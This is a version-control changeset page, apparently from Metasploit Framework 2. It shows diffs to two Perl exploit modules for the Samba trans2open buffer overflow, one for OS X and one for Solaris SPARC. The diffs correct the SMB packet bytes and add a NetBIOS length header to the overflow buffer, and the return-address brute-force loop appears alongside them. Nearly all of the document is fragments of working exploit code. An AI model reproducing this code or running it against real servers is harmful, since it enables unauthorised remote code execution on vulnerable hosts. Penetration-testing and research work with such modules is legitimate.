Changeset 4063

Show
Ignore:
Timestamp:
10/28/06 11:43:48 (2 years ago)
Author:
hdm
Message:

Consistency fixes fr the trans2open exploits, addition of the privatewire exploit

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework2/trunk/exploits/samba_trans2open_osx.pm

    r3818 r4063  
    186186 
    187187                my $Trans = 
    188                   "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00". 
     188                  "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00". 
    189189                  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00". 
    190190                  "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00". 
     
    194194 
    195195                my $Overflow = $Trans . $pattern; 
     196                $Overflow = pack('CCn', 0, 0, length($Overflow)) . $Overflow; 
     197                                 
    196198                $self->PrintLine(sprintf("[*] Trying return address 0x%.8x...", $curr_ret, length($Overflow))); 
    197199 
  • framework2/trunk/exploits/samba_trans2open_solsparc.pm

    r3818 r4063  
    229229 
    230230                my $Trans = 
    231                   "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00". 
     231                  "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00". 
    232232                  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00". 
    233233                  "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00". 
     
    237237 
    238238                my $Overflow = $Trans . $pattern; 
     239                $Overflow = pack('CCn', 0, 0, length($Overflow)) . $Overflow; 
     240                                 
    239241                $self->PrintLine(sprintf("[*] Trying return address 0x%.8x...", $curr_ret, length($Overflow))); 
    240242